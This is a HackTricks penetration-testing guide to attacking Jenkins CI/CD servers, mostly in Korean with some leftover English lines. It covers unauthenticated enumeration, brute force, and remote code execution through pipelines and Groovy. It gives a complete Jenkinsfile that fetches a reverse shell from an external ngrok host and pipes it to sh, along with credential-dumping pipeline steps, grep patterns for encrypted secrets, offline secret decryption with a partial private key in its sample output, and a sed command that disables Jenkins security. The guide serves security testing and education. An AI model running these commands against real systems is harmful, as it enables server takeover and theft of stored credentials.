Jenkins Security

Support HackTricks

Basic Information

Jenkins는 파이프라인을 사용하여 거의 모든 조합의 프로그래밍 언어와 소스 코드 리포지토리에 대한 지속적 통합 또는 지속적 배포 (CI/CD) 환경을 설정하는 간단한 방법을 제공하는 도구입니다. 또한 다양한 일상적인 개발 작업을 자동화합니다. Jenkins는 개별 단계에 대한 스크립트를 작성할 필요성을 없애지는 않지만, 전체 빌드, 테스트 및 배포 도구의 순서를 통합하는 더 빠르고 강력한 방법을 제공합니다.

Basic Jenkins Information

Unauthenticated Enumeration

인증 없이 흥미로운 Jenkins 페이지를 검색하기 위해 (/people 또는 _/asynchPeople_와 같이 현재 사용자를 나열하는 페이지) 다음을 사용할 수 있습니다:

msf> use auxiliary/scanner/http/jenkins_enum

인증 없이 명령을 실행할 수 있는지 확인하십시오:

msf> use auxiliary/scanner/http/jenkins_command

Without credentials you can look inside /asynchPeople/ path or /securityRealm/user/admin/search/index?q= for usernames.

자격 증명이 없으면 /asynchPeople/ 경로 또는 _/securityRealm/user/admin/search/index?q=_에서 사용자 이름을 확인할 수 있습니다.

You may be able to get the Jenkins version from the path /oops or /error

Jenkins 버전은 /oops 또는 /error 경로에서 확인할 수 있습니다.

Known Vulnerabilities

Login

In the basic information you can check all the ways to login inside Jenkins:

기본 정보에서 Jenkins에 로그인하는 모든 방법을 확인할 수 있습니다:

Basic Jenkins Information

Register

You will be able to find Jenkins instances that allow you to create an account and login inside of it. As simple as that.

계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. 간단합니다.

SSO Login

Also if SSO functionality/plugins were present then you should attempt to log-in to the application using a test account (i.e., a test Github/Bitbucket account). Trick from here.

또한 SSO 기능/플러그인이 존재한다면 테스트 계정(예: 테스트 Github/Bitbucket 계정)을 사용하여 애플리케이션에 로그인을 시도해야 합니다. 여기에서 팁을 확인하세요.

Bruteforce

Jenkins lacks password policy and username brute-force mitigation. It's essential to brute-force users since weak passwords or usernames as passwords may be in use, even reversed usernames as passwords.

Jenkins비밀번호 정책사용자 이름 무차별 대입 완화가 부족합니다. 약한 비밀번호비밀번호로서의 사용자 이름이 사용될 수 있으므로 사용자에 대한 무차별 대입이 필수적입니다. 심지어 역순 사용자 이름을 비밀번호로 사용하는 경우도 있습니다.

msf> use auxiliary/scanner/http/jenkins_login

비밀번호 스프레이

이 파이썬 스크립트 또는 이 파워셸 스크립트를 사용하세요.

IP 화이트리스트 우회

많은 조직이 GitHub 또는 GitLab과 같은 SaaS 기반 소스 제어 관리(SCM) 시스템내부, 자체 호스팅 CI 솔루션인 Jenkins 또는 TeamCity와 결합합니다. 이 설정은 CI 시스템이 SaaS 소스 제어 공급업체로부터 웹훅 이벤트를 수신할 수 있게 하여 파이프라인 작업을 트리거할 수 있도록 합니다.

이를 달성하기 위해 조직은 SCM 플랫폼IP 범위화이트리스트하여 웹훅을 통해 내부 CI 시스템에 접근할 수 있도록 허용합니다. 그러나 누구나 GitHub 또는 GitLab에 계정을 생성하고 이를 웹훅을 트리거하도록 구성할 수 있다는 점에 유의해야 합니다. 이는 내부 CI 시스템에 요청을 보낼 수 있습니다.

확인: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

내부 Jenkins 남용

이 시나리오에서는 Jenkins에 접근할 수 있는 유효한 계정이 있다고 가정합니다.

Jenkins에 구성된 인증 메커니즘과 손상된 사용자의 권한에 따라 다음 공격을 수행할 수 있을 수도 있고, 아닐 수도 있습니다.

자세한 정보는 기본 정보를 확인하세요:

Basic Jenkins Information

사용자 목록 나열

Jenkins에 접근했다면 http://127.0.0.1:8080/asynchPeople/에서 다른 등록된 사용자를 나열할 수 있습니다.

평문 비밀 찾기를 위한 빌드 덤프

이 스크립트를 사용하여 빌드 콘솔 출력 및 빌드 환경 변수를 덤프하여 평문 비밀을 찾으세요.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH 자격 증명 탈취

타협된 사용자가 새 Jenkins 노드를 생성/수정할 수 있는 충분한 권한을 가지고 있고 SSH 자격 증명이 다른 노드에 접근하기 위해 이미 저장되어 있다면, 그는 자격 증명을 탈취할 수 있습니다. 노드를 생성/수정하고 자격 증명을 기록할 호스트를 설정하여 호스트 키를 확인하지 않고 진행할 수 있습니다:

Jenkins SSH 자격 증명은 전역 제공자(/credentials/)에서 일반적으로 찾을 수 있으므로, 다른 비밀을 덤프하는 것처럼 덤프할 수 있습니다. 더 많은 정보는 비밀 덤프 섹션에서 확인하세요.

Jenkins에서의 RCE

Jenkins 서버에서 셸을 얻는 것은 공격자에게 모든 비밀환경 변수를 유출하고, 동일한 네트워크에 있는 다른 머신을 악용하거나 클라우드 자격 증명수집할 기회를 제공합니다.

기본적으로 Jenkins는 SYSTEM으로 실행됩니다. 따라서 이를 타협하면 공격자는 SYSTEM 권한을 얻게 됩니다.

프로젝트 생성/수정으로 RCE 얻기

프로젝트를 생성/수정하는 것은 Jenkins 서버에서 RCE를 얻는 방법입니다:

Jenkins RCE Creating/Modifying Project

Groovy 스크립트 실행으로 RCE 얻기

Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 프로젝트를 생성하는 것보다 더 은밀할 수 있습니다:

Jenkins RCE with Groovy Script

파이프라인 생성/수정으로 RCE 얻기

파이프라인을 생성/수정하여 RCE를 얻을 수도 있습니다:

Jenkins RCE Creating/Modifying Pipeline

파이프라인 악용

파이프라인을 악용하려면 여전히 Jenkins에 접근할 수 있어야 합니다.

빌드 파이프라인

파이프라인프로젝트의 빌드 메커니즘으로도 사용될 수 있으며, 이 경우 저장소 내의 파일이 파이프라인 구문을 포함하도록 구성될 수 있습니다. 기본적으로 /Jenkinsfile이 사용됩니다:

또한 다른 위치에 파이프라인 구성 파일을 저장하는 것도 가능하며(예: 다른 저장소), 이는 저장소 접근파이프라인 접근분리하는 목적입니다.

공격자가 해당 파일에 대한 쓰기 권한을 가지고 있다면, 그는 이를 수정하고 파이프라인을 트리거할 수 있습니다. Jenkins에 접근하지 않고도 가능합니다. 공격자가 일부 브랜치 보호를 우회해야 할 수도 있습니다(플랫폼과 사용자 권한에 따라 우회 가능 여부가 달라질 수 있습니다).

사용자 정의 파이프라인을 실행하기 위한 가장 일반적인 트리거는 다음과 같습니다:

  • 주 브랜치에 대한 풀 요청(또는 다른 브랜치에 대한 요청)

  • 주 브랜치에 푸시(또는 다른 브랜치에 대한 푸시)

  • 주 브랜치를 업데이트하고 어떤 식으로든 실행될 때까지 기다리기

당신이 외부 사용자라면 다른 사용자/조직의 저장소의 주 브랜치에 PR을 생성하고 파이프라인을 트리거할 것으로 기대해서는 안 됩니다... 하지만 잘못 구성된 경우 이를 악용하여 회사를 완전히 타협할 수 있습니다.

파이프라인 RCE

이전 RCE 섹션에서는 파이프라인을 수정하여 RCE를 얻는 기술이 이미 언급되었습니다.

환경 변수 확인

전체 파이프라인 또는 특정 단계에 대한 평문 환경 변수를 선언하는 것이 가능합니다. 이 환경 변수는 민감한 정보를 포함해서는 안 되지만, 공격자는 항상 모든 파이프라인 구성/Jenkinsfile을 확인할 수 있습니다:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

비밀 덤프

Jenkins에서 비밀이 일반적으로 어떻게 처리되는지에 대한 정보는 기본 정보를 확인하세요:

Basic Jenkins Information

자격 증명은 전역 제공자(/credentials/) 또는 특정 프로젝트(/job/<project-name>/configure)에 범위가 지정될 수 있습니다. 따라서 모든 비밀을 유출하려면 비밀을 포함하는 모든 프로젝트를 최소한 타협하고 사용자 정의/오염된 파이프라인을 실행해야 합니다.

또 다른 문제는, 파이프라인의 env 내에서 비밀을 얻으려면 비밀의 이름과 유형을 알아야 한다는 것입니다. 예를 들어, usernamePassword 비밀string 비밀로드하려고 하면 이 오류가 발생합니다:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

여기에서 몇 가지 일반적인 비밀 유형을 로드하는 방법이 있습니다:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

이 페이지의 끝에서 모든 자격 증명 유형찾을 수 있습니다: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

모든 비밀을 한 번에 덤프하는 가장 좋은 방법은 Jenkins 머신을 타격하는 것입니다 (예를 들어 내장 노드에서 리버스 셸을 실행) 그리고 마스터 키암호화된 비밀유출한 후 오프라인에서 복호화하는 것입니다. 이 방법에 대한 자세한 내용은 노드 및 에이전트 섹션사후 활용 섹션에서 확인할 수 있습니다.

트리거

문서에서: triggers 지시어는 파이프라인이 재트리거되어야 하는 자동화된 방법을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 통합된 파이프라인의 경우, 웹훅 기반 통합이 이미 존재할 가능성이 높기 때문에 triggers가 필요하지 않을 수 있습니다. 현재 사용 가능한 트리거는 cron, pollSCMupstream입니다.

Cron 예:

triggers { cron('H */4 * * 1-5') }

Check other examples in the docs.

Nodes & Agents

A Jenkins instance might have different agents running in different machines. From an attacker perspective, access to different machines means different potential cloud credentials to steal or different network access that could be abuse to exploit other machines.

For more information check the basic information:

Basic Jenkins Information

You can enumerate the configured nodes in /computer/, you will usually find the Built-In Node (which is the node running Jenkins) and potentially more:

It is 특히 Built-In 노드를 손상시키는 것이 흥미롭습니다. 왜냐하면 그것은 민감한 Jenkins 정보를 포함하고 있기 때문입니다.

To indicate you want to run the pipeline in the built-in Jenkins node you can specify inside the pipeline the following config:

pipeline {
agent {label 'built-in'}

완전한 예제

특정 에이전트에서의 파이프라인, 크론 트리거와 함께, 파이프라인 및 스테이지 환경 변수, 단계에서 2개의 변수를 로드하고 리버스 셸을 전송:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

임의 파일 읽기를 통한 RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

포스트 익스플로잇

메타스플로잇

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

/credentials/에 접근할 수 있는 충분한 권한이 있다면 비밀을 나열할 수 있습니다. 이는 credentials.xml 파일 내의 비밀만 나열되지만, 빌드 구성 파일에도 더 많은 자격 증명이 있을 수 있습니다.

각 프로젝트의 구성을 볼 수 있다면, 저장소에 접근하는 데 사용되는 **자격 증명(비밀)**의 이름과 프로젝트의 다른 자격 증명도 볼 수 있습니다.

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

이 파일들은 Jenkins 비밀을 복호화하는 데 필요합니다:

  • secrets/master.key

  • secrets/hudson.util.Secret

이러한 비밀은 일반적으로 다음에서 찾을 수 있습니다:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

다음은 이를 찾기 위한 정규 표현식입니다:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins 비밀을 오프라인으로 복호화하기

비밀을 복호화하는 데 필요한 비밀번호를 덤프했다면, 이 스크립트사용하여 해당 비밀을 복호화하세요.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Groovy에서 Jenkins 비밀 해독하기

println(hudson.util.Secret.decrypt("{...}"))

새 관리자 사용자 만들기

  1. /var/lib/jenkins/config.xml 또는 C:\Program Files (x86)\Jenkins\에서 Jenkins config.xml 파일에 접근합니다.

  2. <useSecurity>true</useSecurity>라는 단어를 검색하고 **true**를 **false**로 변경합니다.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Jenkins 서버를 재시작합니다: service jenkins restart

  5. 이제 Jenkins 포털로 다시 가면 Jenkins는 이번에 자격 증명을 요구하지 않습니다. "Manage Jenkins"로 이동하여 관리자 비밀번호를 다시 설정합니다.

  6. 설정을 <useSecurity>true</useSecurity>로 변경하여 보안을 다시 활성화하고 Jenkins를 다시 재시작합니다.

참고자료

HackTricks 지원하기

Last updated